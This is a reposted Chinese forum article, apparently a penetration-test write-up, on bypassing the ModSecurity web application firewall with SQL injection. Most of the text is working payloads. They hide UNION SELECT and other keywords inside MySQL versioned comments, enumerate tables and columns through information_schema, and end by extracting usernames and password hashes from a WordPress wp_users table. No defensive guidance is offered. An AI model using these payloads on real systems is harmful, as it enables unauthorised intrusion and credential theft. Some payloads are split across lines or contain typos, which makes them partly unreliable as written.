安全矩阵

 找回密码
 立即注册
搜索
查看: 2122|回复: 0

​ SQL注入之ModSecurity防火墙绕过

[复制链接]

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
发表于 2022-4-14 22:28:00 | 显示全部楼层 |阅读模式

SQL注入之ModSecurity防火墙绕过

程序员阿甘 2022-04-14 22:00
文章来源 :SecTr安全团队
原文链接:​ SQL注入之ModSecurity防火墙绕过

研究人员在对网站进行渗透测试时,发现该网站存在SQL注入点,可以绕过 “mod_security” 防火墙。ModSecurity是一个开源、跨平台的web应用程序防火墙(WAF),用于实时Web应用程序监视,日志记录和访问控制。

在网站中使用以下注入语句,会弹出错误提示:
  1. site/ejemplo?parameter=-
  2. 1+union+selec+1,2,3,4,5,6,7+--+
复制代码




如下所示,我们只需在上诉有效载荷中添加注释,就可以绕过waf的检测了。
  1. site/ejemplo?parameter=-1+/*!50000union*
  2. /+/*!50000selec*/+1,2,3,4,5,6,7+--+
复制代码




从上图中可以看出,第四列中存在漏洞。为了获得更多的信息,研究人员尝试上传了以下有效载荷:
  1. AND mod(29,9)+div+@a:=
  2. (concat(database(),"--","_Y000!_"))+UNION+DISTINCTROW+SELECT+1,2,3,@a,5,6,7
复制代码
  1. "AND" = 如果用AND分隔的所有条件都为TRUE,则AND运算符将
  2. 返回一条记录。
  3. "mod(29,9)" = mod的功能是在值之间进行划分
  4. "div" = 在sql中,div函数被视为除法
  5. "@a:=" = 用于在内部保存SQL查询,例如@a:=
  6. (concat(database(),"--","_Y000!_")
  7. "union" = 连接两个以上的sql命令
  8. "distinctrow" = 避免结果重复
  9. "select" = 从数据库中选择我们想要的
  10. "数据库中的列数
  11. "AND mod(29,9)+div+@a:=
  12. (concat(database(),"--","_Y000!_"))+UNION+DISTINCTROW+SELECT+1,2,3,@a,5,6,7"
复制代码

同样,在该有效载荷中添加注释,即可绕过waf的检测:
  1. -1+AND+mod(29,9)+div+@a:=(/*!50000concat(database
  2. /**_**/(),"--","_Y000!_")*/)+/*!50000UNION*//**
  3. //*!50000DISTINCTROW*/+/*!50000SELECT*
  4. /+1,2,3,@a,"_Y000!_",6,7--+
复制代码




结果如下图所示:



从上图可以看出,我们可以从数据库中提取信息,同时我们还可以在concat函数中插入一些分隔符,如下所示:
  1. @a:=(/*!50000concat(database/**_**
  2. /(),"--","_Y000!_")*/)
复制代码


点击右侧下载图标可以对文件进行下载。有趣的是,下载文件的选项也存在漏洞,并清楚地向显示了易受攻击的是第5列。



利用该漏洞,我们可以进一步的挖掘。如下所示,我们可以在有效载荷中添加更多的字符,以从数据库表的名称中提取基本信息:
  1. -1+AND+mod(29,9)+div+@a:=(/*!50000concat(database
  2. /**_**/(),"--","_Y000!_")*/)+/*!50000UNION*
  3. //**//*!50000DISTINCTROW*/+/*!50000SELECT*
  4. /+1,2,3,@a,table_name,6,7+/*!50000from*
  5. /+/*!50000information_schema.tables*/+--+
复制代码




结果如下图所示:



在之前的情况下,我们只有一个文件可以下载,但现在显示出了更多的信息。仔细观察,可以发现新出现的是有效载荷所提取的数据库信息。在右图代码中,可以看出我们有很多的<tr> </ tr>,这是HTML中的表格,每个表中都有数据库表的名称。但这未免也太多了些,由此可以意识到该页面使用了wordpress



从字面上看,我们什么都没有隐藏!
  1. -1+AND+mod(29,9)+div+@a:=(/*!50000concat(database
  2. /**_**/(),"--","_Y000!_")*/)+/*!50000UNION*
  3. //**//*!50000DISTINCTROW*/+/*!50000SELECT*
  4. /+1,2,3,@a,column_name,6,7+/*!50000from*
  5. /+/*!50000information_schema.columns*
  6. /+/*!50000where*/+/*!50000table_name="wp_users"*/+--+
复制代码




最后,我们可以找到用户名称和密码信息
  1. -1+AND+mod(29,9)+div+@a:=(/*!50000concat(database
  2. /**_**/(),"--","_Y000!_")*/)+/*!50000UNION*
  3. //**//*!50000DISTINCTROW*/+/*!50000SELECT*
  4. /+1,2,3,@a,
  5. /*!50000CoNcAt(user_nicename,"--",user_pass)*
  6. /,6,7+/*!50000from*/+/*!50000wp_users*/+--+
复制代码




版权申明:内容来源网络,版权归原创者所有。除非无法确认,都会标明作者及出处,如有侵权,烦请告知,我们会立即删除并致歉!


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-19 22:52 , Processed in 0.012805 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表